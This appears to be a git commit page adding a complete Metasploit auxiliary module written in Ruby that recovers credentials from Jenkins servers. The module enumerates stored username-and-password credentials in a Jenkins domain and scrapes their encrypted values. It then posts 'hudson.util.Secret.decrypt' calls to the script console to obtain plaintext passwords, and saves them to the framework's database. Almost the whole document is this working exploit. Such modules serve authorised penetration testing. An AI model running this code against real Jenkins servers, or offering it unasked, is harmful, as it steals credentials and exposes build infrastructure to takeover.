Land #6277, jenkins domain cred recovery aux module
commit
90fb3e0118
|
@ -0,0 +1,295 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins Domain Credential Recovery',
|
||||
'Description' => %q{
|
||||
This module will collect Jenkins domain credentials, and uses
|
||||
the script console to decrypt each password if anonymous permission
|
||||
is allowed.
|
||||
|
||||
It has been tested against Jenkins version 1.590, 1.633, and 1.638.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Th3R3p0', # Vuln Discovery, PoC
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '38664' ],
|
||||
[ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 8080
|
||||
},
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
|
||||
OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Returns the Jenkins version.
|
||||
#
|
||||
# @return [String] Jenkins version.
|
||||
# @return [NilClass] No Jenkins version found.
|
||||
def get_jenkins_version
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({ 'uri' => uri })
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
version_attribute = html.at('body').attributes['data-version']
|
||||
version = version_attribute ? version_attribute.value : ''
|
||||
version.scan(/jenkins\-([\d\.]+)/).flatten.first
|
||||
end
|
||||
|
||||
|
||||
# Returns the Jenkins domain configured by the user.
|
||||
#
|
||||
# @return [String]
|
||||
def domain
|
||||
datastore['JENKINSDOMAIN']
|
||||
end
|
||||
|
||||
|
||||
# Returns a check code indicating the vulnerable status.
|
||||
#
|
||||
# @return [Array] Check code
|
||||
def check
|
||||
version = get_jenkins_version
|
||||
vprint_status("Found version: #{version}")
|
||||
|
||||
# Default version is vulnerable, but can be mitigated by refusing anonymous permission on
|
||||
# decryption API. So a version wouldn't be adequate to check.
|
||||
if version
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
# Returns all the found Jenkins accounts of a specific domain. The accounts collected only
|
||||
# include the ones with the username-and-password kind. It does not include other kinds such
|
||||
# as SSH, certificates, or other plugins.
|
||||
#
|
||||
# @return [Array<Hash>] An array of account data such as id, username, kind, description, and
|
||||
# the domain it belongs to.
|
||||
def get_users
|
||||
users = []
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)
|
||||
uri << '/'
|
||||
|
||||
res = send_request_cgi({ 'uri'=>uri })
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
rows = html.search('//table[@class="sortable pane bigtable"]//tr')
|
||||
|
||||
# The first row is the table header, which we don't want.
|
||||
rows.shift
|
||||
|
||||
rows.each do |row|
|
||||
td = row.search('td')
|
||||
id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || ''
|
||||
name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || ''
|
||||
kind = td[2].text
|
||||
desc = td[3].text
|
||||
next unless /Username with password/i === kind
|
||||
|
||||
users << {
|
||||
id: id,
|
||||
username: name,
|
||||
kind: kind,
|
||||
description: desc,
|
||||
domain: domain
|
||||
}
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
|
||||
# Returns the found encrypted password from the update page.
|
||||
#
|
||||
# @param id [String] The ID of a specific account.
|
||||
#
|
||||
# @return [String] Found encrypted password.
|
||||
# @return [NilCass] No encrypted password found.
|
||||
def get_encrypted_password(id)
|
||||
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')
|
||||
res = send_request_cgi({ 'uri'=>uri })
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
|
||||
|
||||
if input
|
||||
return input.attributes['value'].value
|
||||
else
|
||||
vprint_error("Unable to find encrypted password for #{id}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Returns the decrypted password by using the script console.
|
||||
#
|
||||
# @param encrypted_pass [String] The encrypted password.
|
||||
#
|
||||
# @return [String] The decrypted password.
|
||||
# @return [NilClass] No decrypted password found (no result found on the console)
|
||||
def decrypt(encrypted_pass)
|
||||
uri = normalize_uri(target_uri, 'script')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'",
|
||||
'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json,
|
||||
'Submit' => 'Run'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
|
||||
end
|
||||
|
||||
if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
|
||||
vprint_error('No permission to decrypt password')
|
||||
return nil
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
|
||||
if result
|
||||
decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first
|
||||
return decrypted_password
|
||||
else
|
||||
vprint_error('Unable to find result')
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Decrypts an encrypted password for a given ID.
|
||||
#
|
||||
# @param id [String] Account ID.
|
||||
#
|
||||
# @return [String] The decrypted password.
|
||||
# @return [NilClass] No decrypted password found (no result found on the console)
|
||||
def descrypt_password(id)
|
||||
encrypted_pass = get_encrypted_password(id)
|
||||
decrypt(encrypted_pass)
|
||||
end
|
||||
|
||||
|
||||
# Reports the username and password to database.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :user
|
||||
# @option opts [String] :password
|
||||
# @option opts [String] :proof
|
||||
#
|
||||
# @return [void]
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
if opts[:password]
|
||||
credential_data.merge!(
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
)
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
users = get_users
|
||||
print_status("Found users for domain #{domain}: #{users.length}")
|
||||
|
||||
users.each do |user_data|
|
||||
pass = descrypt_password(user_data[:id])
|
||||
if pass
|
||||
if user_data[:description].blank?
|
||||
print_good("Found credential: #{user_data[:username]}:#{pass}")
|
||||
else
|
||||
print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")
|
||||
end
|
||||
else
|
||||
print_status("Found #{user_data[:username]}, but unable to decrypt password.")
|
||||
end
|
||||
|
||||
report_cred(
|
||||
user: user_data[:username],
|
||||
password: pass,
|
||||
proof: user_data.inspect
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue